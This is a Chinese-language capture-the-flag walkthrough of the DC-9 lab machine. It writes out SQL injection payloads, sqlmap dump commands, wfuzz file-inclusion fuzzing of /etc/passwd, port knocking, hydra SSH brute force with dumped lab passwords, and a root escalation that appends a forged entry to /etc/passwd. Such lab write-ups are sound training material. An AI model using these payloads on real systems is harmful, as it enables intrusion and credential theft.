靶机下载地址:http://www.five86.com/downloads/DC-9.zip
1.查看kali靶机ip
2.nmap 192.168.137.0/24 nmap扫描同一网络段的靶机ip地址
3.访问靶机192.168.137.154 访问80端口
4.查看网站内容信息,在Display all Records里有一些用户信息
第三个Search,搜索
拿第一个用户姓氏尝试搜索
得到了用户得信息,尝试手工注入,看一下是不是有sql注入漏洞
常用的手工注入命令
1' and 1=1;# 判断是否可以被注入
1' or 1=1;# 尝试获取全部账号信息
1' union all select 1,2;# 尝试获取参数个数
1' union all select 1,(@@version);# 获取数据库版本
1' union all select 1,(databases());# 获取数据库名称
判断一下是否能注入
Mary' and 1=1;#
成功注入
sqlmap爆数据库
既然存在字符型sql注入漏洞,我们就使用sqlmap工具来爆出我们所需要的数据库信息:
1、爆数据库名,POST是请求发送数据,所以这里要指定–date参数为search
sqlmap -u 'http://192.168.137.154/results.php' --data 'search=1' --dbs --batch
2、爆staff数据库表名
sqlmap -u 'http://192.168.137.154/results.php' --data "search=1" -D Staff --tables --batch
3、爆users表的字段名
sqlmap -u 'http://192.168.137.154/results.php' --data "search=1" -D Staff -T Users --columns --batch
4、获取字段数据
sqlmap -u 'http://192.168.137.154/results.php' --data "search=1" -D Staff -T Users -C "UserID,Username,Password" --dump --batch
发现高级用户admin 密码856f5de590ef37314e7c3bdf6f8a66dc MD5解密为 transorbital1
MD5解密网站MD5免费在线解密破解_MD5在线加密-SOMD5
5.获取users数据库的信息
sqlmap -u 'http://192.168.137.154/results.php' --data "search=1" -D users -T UserDetails -C username,password,id --dump --batch
账号:
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
密码:
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
HawaiiFive0
用获得的账号admin密码transorbital1进行登录
登录成功,显示
测试一下看是否存在文件包含漏洞,
没有进去,说明存在参数,可以爆破一下参数
先获取保存一下cookie爆破要用到
这里可以用wfuzz工具进行爆破参数
wfuzz ‐b 'cl9ulqsmig0t6rqr2kejn5u0hb' ‐w /usr/share/SecLists/Discovery/Web‐Content/burp‐parameter‐names.txt http://192.168.137.154/welcome.php?FUZZ=../../../../../etc/passwd
wfuzz --hw78 ‐b 'cl9ulqsmig0t6rqr2kejn5u0hb' ‐w /usr/share/SecLists/Discovery/Web‐Content/burp‐parameter‐names.txt http://192.168.137.154/welcome.php?FUZZ=../../../../../etc/passwd
得到参数名是file
访问 ?file=../../../../etc/passwd
成功利用文件包含漏洞查看passwd文件
后面不知道咋搞了,然后想起来了前面得到的账户密码信息,利用hydra海德拉爆一下ssh
hydra -L /home/kali/桌面/users.txt -P /home/kali/桌面/passwd.txt 192.168.137.154 ssh
结果发现被拒绝了
猜测是因为设置了敲门服务访问访问 /etc/knockd.conf查看端口信息
http://192.168.137.154/manage.php?file=../../../../../etc/knockd.conf
由端口信息文件得这三个端口分别是7469,8475,9842
利用knock工具,对获取的端口(开门密码)实现碰撞
安装命令 apt install knockd
knock 192.168.137.154 7469 8475 9842
或者
nmap -sV 192.168.137.154 -p 7469
nmap -sV 192.168.137.154 -p 8475
nmap -sV 192.168.137.154 -p 9842
nmap -sV 192.168.137.154
继续利用hydra海德拉爆一下ssh
hydra -L /home/kali/桌面/users.txt -P /home/kali/桌面/passwd.txt 192.168.137.154 ssh
login: chandlerb password: UrAG0D!
login: joeyt password: Passw0rd
login: janitor password: Ilovepeepee
爆破出来有3个用户可用,通过ssh登录三个账号进行信息收集:
ls -al 查看用户文件
sudo -l 查看root权限
history 查看历史命令
chandlerb用户
joeyt用户
Janitor用户
在 janitor 用户登录的时候,在.secrets-for-putin发现了一些新的密码信息
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
将其写入密码本进行2次ssh爆破
hydra -L /home/kali/桌面/users.txt -P /home/kali/桌面/passwd.txt 192.168.137.154 ssh
发现新用户login: fredf password: B4-Tru3-001
继续ssh登录查看信息
进入目录查看信息
发现一个test路径。得到一个python文件,然后查看这个python文件:
find / -name test.py 2>/dev/null
find:用于搜索文件和目录的命令。
/:起始搜索路径,这里表示从根目录开始搜索。
-name test.py:匹配要搜索的文件名为 "test.py"。您可以根据需要修改为其他文件名或正则表达式。
2>/dev/null:重定向错误输出,将错误信息屏蔽掉,只显示匹配的结果。
test.py文件的大致内容就是将参数1的内容写入参数2中
接下来尝试进行提权。
本地提权
先openssl passwd创建一个新用户和密码
openssl passwd -1 -salt root root
-1 #使用md5加密算法
-salt #自动锚入一个随机参数作为文件内容加密
$1$root$9gr5KxwuEdiI80GtIzd.U0
构造成/etc/passwd下的格式,保存在pass文件中
echo 'root:$1$root$9gr5KxwuEdiI80GtIzd.U0:0:0::/root:/bin/bash' >>pass
运行刚刚发现的test.py将pass写入到/etc/passwd
sudo /opt/devstuff/dist/test/test pass /etc/passwd
http://192.168.137.154/welcome.php?file=../../../../etc/passwd再次查看发现成功写入root用户
如此我们便有了root权限直接进入root,成功拿下flag